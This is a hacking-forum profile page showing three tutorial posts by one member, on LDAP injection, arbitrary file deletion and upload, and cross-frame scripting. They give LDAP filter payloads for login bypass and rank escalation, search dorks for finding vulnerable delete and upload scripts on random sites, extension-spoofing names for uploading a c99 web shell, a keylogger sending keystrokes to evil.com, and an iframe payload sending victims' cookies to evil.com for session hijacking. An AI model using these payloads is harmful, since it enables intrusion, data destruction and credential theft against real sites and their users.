Jump to content

software

Members
  • Posts

    7
  • Joined

  • Last visited

About software

  • Birthday 08/13/1991

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

software's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. Definition First off, let's start from the very beginning. Lightweight Directory Access Protocol or abbreviated (LDAP) is a protocol from the OSI model that appends to the Application Layer (#7). As of its abbreviation, LDAP is pretty much responsible for the allocation of resources in directories over a network. Crafting LDAP queries so as to have the effect of injections can grant you access over a lot of sections in a LDAP based page. Injection can be carried out mainly in input fields and URL parameters where the code fails to sanitize and filter the user supplied input. How it works Let's take a basic example of a LDAP authentication system. The code below makes a connection to our LDAP server (in our case we use a direct URL instead of a hostname because OpenLDAP enables me to do so and because of the possibility of escaping port usage) and upon a successful match between the credentials supplied (username & password) we get logged in. See Image We generate a bind out of the connection query and user credentials. If the bind generated above is not successful the code will end up with an anonymous bind which would be true for the server and we get logged in. It pretty much has the same functionality as a normal php-based procedurelly written code but with a few more possibilities. As I mentioned this is a plain example of a login system based on LDAP so as to get you familiarized with the process as a whole. Exploitation Suppose we have a little bit of a more modified query. [COLOR="#FF0000"]search("(&(cn=Keeper)(Passwd=Hack))")[/COLOR] The "cn" acts the role of our username and "Passwd" - you guess. What we aim to do is to login without either an actually valid username or a valid password. Considering the above code has no user data filtration we can do the following in order to get logged in: See Image As from the image above, we need to check the name of the input field. It's name is the value for the $_GET[''] function. So if not properly sanitized we could log in with the following query as a username: [COLOR="#FF0000"]usrname)(&))([/COLOR] Which will always be a true statement for the server because $_GET['usrname'] is actually equal to usrname. And as for the password - you can leave it empty or better yet type a random string just in case there is a check for empty fields. See Image That way the second filter (password field) will be ignored because when validating the query, the server will notice that we've supplied a true statement and won't continue to check whether the password is corresponding to the username or not. Escalating Privileges Suppose, we've got a page, after successfully logging in, with files that are only accessible by users of a predefined rank (the picture shows the result of the injection). See Image Let's take a look at our code that monitors and displays the content depending on the user's rank. [COLOR="#FF0000"](&(page_location=crypts)(rank=registered))[/COLOR] Our goal is to alter our rank. So we need to supply at least one true statement so as to get access to the directory. First we finish the query (colored green) and then we start it again (colored red) so as to fit the whole request. page_location=crypts)(rank=*))(&(page_location=crypts See Image In this case we get the following result from the query that has been executed: [COLOR="#FF0000"](&(page_location=crypts)(rank=*))(&(page_location=crypt)(rank=registered)[/COLOR] Hope you got something out of it. Thanks for reading! Antagonism Group and Software
  2. Introduction Let's start off with the definition. An arbitrary file is any file on a specific server or system. Basically, the arbitrary file is a file that allows you to modify everything on a system. For example, if you got access to a particular website part of a shared server and you manage to root it, the files from the "box" are arbitrary - those on the site itself are not. Now, we can have only a limited number of actions handling arbitrary files. Those are the three following: [*] Arbitrary File Deletion [*] Arbitrary File Overwriting [*] Arbitrary File Uploading[ Arbitrary File Deletion Such method is most usually implemented on websites that lack directory access permissions or do not have any at all. In that case, the hacker can easily directly access the page for file deletion. It is most usually used for random websites, since exploring a targeted website could take quite a lot of time in order to find the path (if, of course, you don't already have the server-side files). I've posted some dorks for arbitrary file deletion below: inurl:"delete.php?file=" ext:php inurl:"delete?filename=" ext:php inurl:"delete.aspx?file=" ext:php inurl:"action=delete?file=" ext:php Let's say, we've found a website See Image We can see in the URL the directory of ../delete.php?file= In our case the target for deletion is a person's information board. It is just encoded in Base64 for some reason and resolves to the following string: /www/egypt3/data/peop/Selvia,+John+and+Lisa/phone1 We may use this parameter to delete any file on the server that is hosted on this particular website as long as we are aware of the full path or manage to exploit a directory disclosure vulnerability. Arbitrary File Upload Get about some dork and find an uploading script. inurl:"upload.php?file=" ext:php inurl:"upload?filename=" ext:php inurl:"upload.aspx?file=" ext:php inurl:"action=upload?file=" ext:php This is how my target looks like. A simple upload page (possibly without any filtration upon user input). See Image Try and upload your shell directly. If not successful, spoof the extension to one of these using the null byte: shell.php;.jpg shell.php..jpg shell.php.jpg; shell.php.jpg:; shell.php.jpg%; shell.php.jpg%00 shell.php%00.jpg shell.php.jpg;%00 shell.php.jpg%00:; and upon uploading, tamper the POST request with Tamper Data (this has been covered on a lot of tutorials, and you could really easily search for it rather than me explaining it over and over again) so as to change the extension back to what it really is (.php). See Image Whoops, we've got our c99 uploaded on their server. If that method of uploading did not work for you, try using a binder and spoof the extension properly. Sursa: Antagonism Group and software
  3. Definition XFS or CFS abbreviated from Cross Frame Scripting is a form of web-based attack that relies on a browser exploit. The attack is based on iFrames. Let's say we have an iFrame and another one inside of it. The parent iFrame inherits the actions from the child iFrame. XFS includes in most cases and is executed in Javascript. It is therefore related to Cross Site Scripting and is client-side attack since the code is in Javascript. It is understood false by many people that mistaken it with XSS from SQLi. I don't know where this concept came from but it is completely wrong and has nothing to do with XFS at all. How XFS works Suppose we have a simple authentication system (web-based login form). CLICK for Image What we want to do is embed a frame in the page. Therefore, upon typing the credentials, the user actually delivers them directly to the hacker. Using an IE exploit we can sniff keystrokes that are then automatically sent to our remote server with AJAX requests. In the following script we have a simple keystroke recorder that uses an iFrame. We define the array where the keystrokes will be stored. Then capture them with keystrokes.push() and return them back to the desired location (which in our case is our server where we can actually view them). Code Source: OWASP Code: <!-- http://evil.com/example.com-login.html --> <head> <script> // array of user keystrokes var keystrokes = []; // event listener which captures user keystrokes document.onkeypress = function() { keystrokes.push(window.event.keyCode); } // function which reports keytrokes back to evil.com every second setInterval(function() { if (keystrokes.length) { var xhr = newXHR(); xhr.open("POST", "http://evil.com/k"); xhr.send(keystrokes.join("+")); } keystrokes = []; }, 1000); // function which creates an ajax request object function newXHR() { if (window.XMLHttpRequest) return new XMLHttpRequest(); return new ActiveXObject("MSXML2.XMLHTTP.3.0"); } </script> </head> <!-- re-focusing to this frameset tricks browser into leaking events --> <frameset onload="this.focus()" onblur="this.focus()"> <!-- frame which embeds example.com login page --> <frame src="http://example.com/login.html"> </frameset> That's generally the basic concept behind this code and it's method of exploiting iFrames. Cross Frame Scripting resembles phishing is some way. The difference between them is that XFS acts exactly the way the page is supposed to. Whereas, with a phishing page you can get the information the same way but you arise suspicion in the target and he might decide to alter his password or other credentials. Exploiting XFS Vulnerability Now in order to exploit a cross frame scripting vulnerability we first need to make sure we can execute a Javascript vector (XSS) and plus that it must be persistent so as the crafted frame to stay on the page. Most usually website developers neglect filtering Account Panels and using the settings input fields, one could place a persistent XSS. CLICK for Image Assuming we have managed to find a persistent XSS, we can continue with the XFS frame. We need whenever a user visits our profile to display him a page for logging in the website again under the context that his session has expired or something of that kind (that has more to do with Social Engineering in order to trick him that he has been logged off). Let's say we've got the following script to inject in the place of our XSS. <iframe style="position:absolute;top:-9999px" src="http://example.com/? flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/? ?c='+encodeURIComponent(document.cookie)+'\">') && window.location="http://example.com/login.php";</script>"> </iframe> This will grab the cookie upon logging in and will redirect the user to the actual login page. No suspicion will be arisen and the user will not notice the embedded frame inside the page. All you need to do now is get the session and authenticate with it. CLICK for Image Enter the following in the URL address, replacing the website domain. javascript:void(document.cookie="strUsername=Administrator") And we do the same thing with the password value. Note: The proof of concept and all images in this tutorial have been tested in local environment on my own website. Sursa:Antagonism Group
×
×
  • Create New...